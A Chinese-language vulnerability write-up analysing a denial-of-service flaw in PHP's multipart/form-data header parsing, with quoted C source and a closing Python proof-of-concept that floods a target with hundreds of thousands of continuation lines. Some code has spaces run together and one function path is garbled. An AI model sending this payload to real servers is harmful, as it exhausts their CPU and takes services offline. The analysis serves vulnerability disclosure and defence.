摘要:
PHP解析multipart/form-datahttp请求的body part请求头时,重复拷贝字符串导致DOS。远程攻击者通过发送恶意构造的multipart/form-data请求,导致服务器CPU资源被耗尽,从而远程DOS服务器。
影响范围:
PHP所有版本
一、漏洞入口
PHP源码中main/ rfc1867.c负责解析multipart/form-data协议,DOS漏洞出现在main/rfc46675pxultipart_buffer_headers函数。
在详细分析漏洞函数前,先分析进入漏洞函数的路径。PHP解析multipart/form-data http请求体的入口函数在SAPI_POST_HANDLER_FUNC(rfc1867.c中的函数),代码如下。
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/* Get the boundary */
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boundary= strstr(content_type_dup, "boundary");
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if(!boundary) {
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intcontent_type_len = strlen(content_type_dup);
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char*content_type_lcase = estrndup(content_type_dup, content_type_len);
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php_strtolower(content_type_lcase,content_type_len);
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boundary= strstr(content_type_lcase, "boundary");
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if(boundary) {
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boundary= content_type_dup + (boundary - content_type_lcase);
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}
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efree(content_type_lcase);
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}
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if(!boundary || !(boundary = strchr(boundary, '='))) {
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sapi_module.sapi_error(E_WARNING,"Missing boundary in multipart/form-data POST data");
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return;
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}
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boundary++;
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boundary_len= strlen(boundary);
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…
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…
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while(!multipart_buffer_eof(mbuff TSRMLS_CC))
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{
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charbuff[FILLUNIT];
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char*cd = NULL, *param = NULL, *filename = NULL, *tmp = NULL;
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size_tblen = 0, wlen = 0;
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off_toffset;
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zend_llist_clean(&header);
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if(!multipart_buffer_headers(mbuff, &header TSRMLS_CC)) {
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gotofileupload_done;
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}
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SAPI_POST_HANDLER_FUNC函数首先解析请求的boundary,
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二、漏洞函数multipart_buffer_headers执行逻辑
进入漏洞函数,本段先分析漏洞函数的执行逻辑,下一段根据函数执行逻辑详细分析漏洞的原理。multipart_buffer_headers函数源码如下:
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/* parse headers */
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static intmultipart_buffer_headers(multipart_buffer *self, zend_llist *header TSRMLS_DC)
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{
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char*line;
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mime_header_entryprev_entry = {0}, entry;
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intprev_len, cur_len;
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/*didn't find boundary, abort */
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if(!find_boundary(self, self->boundary TSRMLS_CC)) {
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return0;
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}
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/*get lines of text, or CRLF_CRLF */
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while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' )
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{
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/*add header to table */
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char*key = line;
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char*value = NULL;
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if(php_rfc1867_encoding_translation(TSRMLS_C)) {
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self->input_encoding= zend_multibyte_encoding_detector(line, strlen(line), self->detect_order,self->detect_order_size TSRMLS_CC);
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}
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/*space in the beginning means same header */
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if(!isspace(line[0])) {
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value= strchr(line, ':');
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}
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if(value) {
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*value= 0;
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do{ value++; } while(isspace(*value));
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entry.value= estrdup(value);
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entry.key= estrdup(key);
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}else if (zend_llist_count(header)) { /* If no ':' on the line, add to previousline */
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prev_len= strlen(prev_entry.value);
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cur_len= strlen(line);
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entry.value= emalloc(prev_len + cur_len + 1);
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memcpy(entry.value,prev_entry.value, prev_len);
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memcpy(entry.value+ prev_len, line, cur_len);
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entry.value[cur_len+ prev_len] = '\0';
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entry.key= estrdup(prev_entry.key);
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zend_llist_remove_tail(header);
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}else {
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continue;
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}
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zend_llist_add_element(header,&entry);
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prev_entry= entry;
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}
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return1;
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}
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multipart_buffer_headers函数首先找boundary,如果找到boundary就执行以下代码,逐行读取请求的输入以解析body port header:
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while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' ) { … }
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当使用get_line读入一行字符,如果该行第一个字符line[0]不是空白字符, 查找line是否存在':'。
如果line存在字符':':
value指向':'所在的内存地址。这时if(value)条件成立,成功解析到(header,value)对entry。调用zend_llist_add_element(header, &entry)存储,并使用prev_entry记录当前解析到的header,用于解析下一行。
否则,line不存在字符':':
认为这一行的内容是上一行解析到header对应value的值,因此进行合并。合并操作执行以下代码。
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prev_len= strlen(prev_entry.value);
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cur_len= strlen(line);
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entry.value= emalloc(prev_len + cur_len + 1); //为合并value重新分片内存
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memcpy(entry.value,prev_entry.value, prev_len); //拷贝上一行解析到header对应value
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memcpy(entry.value+ prev_len, line, cur_len); //把当前行作为上一行解析到header的value值,并拷贝到上一行value值得后面。
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entry.value[cur_len+ prev_len] = '\0';
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entry.key= estrdup(prev_entry.key);
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zend_llist_remove_tail(header);
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首先,为了合并value重新分配内存,接着拷贝上一行解析到的value值到新分配的内容,然后把当前行的字符串作为上一行解析到header的value值,并拷贝到value值得后面。最后调用zend_llist_remove_tail(header)删除上一行的记录。执行完后获得了新的entry,调用zend_llist_add_element(header,&entry)记录得到的header名值对(header,value)。
三、漏洞原理:
在multipart_buffer_headers函数解析header对应value时,value值存在n行。每行的字符串以空白符开头或不存字符':',都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块。该代码块进行1次内存分配,2次内存拷贝,1次内存释放。当value值越来越长,将消耗大量的cpu时间。如果以拷贝一个字节为时间复杂度单位,value的长度为m,时间复杂度为m*m.
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prev_len= strlen(prev_entry.value);
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cur_len= strlen(line);
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entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存
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memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝
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memcpy(entry.value+ prev_len, line, cur_len); //1次拷贝
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entry.value[cur_len+ prev_len] = '\0';
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entry.key= estrdup(prev_entry.key);
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zend_llist_remove_tail(header);//1次内存释放
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四、利用:
构造恶意的http请求,在我的测试环境中,一个http请求将消耗10s的cpu时间。每隔若干秒,同时并发多个请求,将导致server端cpu资源长期耗尽,从而到达DOS。总的来说,利用方式和Hash Collision DOS一样。
五、POC
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'''
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Author: Shusheng Liu,The Department of Security Cloud, Baidu
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email: liusscs@163.com
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'''
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import sys
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import urllib,urllib2
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import datetime
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from optparse import OptionParser
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def http_proxy(proxy_url):
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proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
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null_proxy_handler = urllib2.ProxyHandler({})
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opener = urllib2.build_opener(proxy_handler)
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urllib2.install_opener(opener)
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#end http_proxy
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def check_php_multipartform_dos(url,post_body,headers):
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req = urllib2.Request(url)
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for key in headers.keys():
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req.add_header(key,headers[key])
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starttime = datetime.datetime.now();
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fd = urllib2.urlopen(req,post_body)
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html = fd.read()
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endtime = datetime.datetime.now()
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usetime=(endtime - starttime).seconds
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if(usetime > 5):
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result = url+" is vulnerable";
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else:
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if(usetime > 3):
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result = "need to check normal respond time"
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return [result,usetime]
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#end
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def main():
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#http_proxy("http://127.0.0.1:8089")
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parser = OptionParser()
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parser.add_option("-t", "--target", action="store",
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dest="target",
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default=False,
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type="string",
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help="test target")
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(options, args) = parser.parse_args()
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if(options.target):
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target = options.target
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else:
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return;
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Num=350000
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headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
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'Accept-Encoding':'gzip, deflate',
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'User-Agent':'Mozillal/5.0 (Windows NT 6.1; WOW64) AppleWebKiti/537.36 (KHTML, like Gecko) Chromeu/40.0.2214.111 Safariss/537.36'}
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body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
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payload=""
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for i in range(0,Num):
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payload = payload + "a\n"
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body = body + payload;
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body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
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print "starting...";
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respond=check_php_multipartform_dos(target,body,headers)
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print "Result : "
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print respond[0]
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print "Respond time : "+str(respond[1]) + " seconds";
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if __name__=="__main__":
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main()
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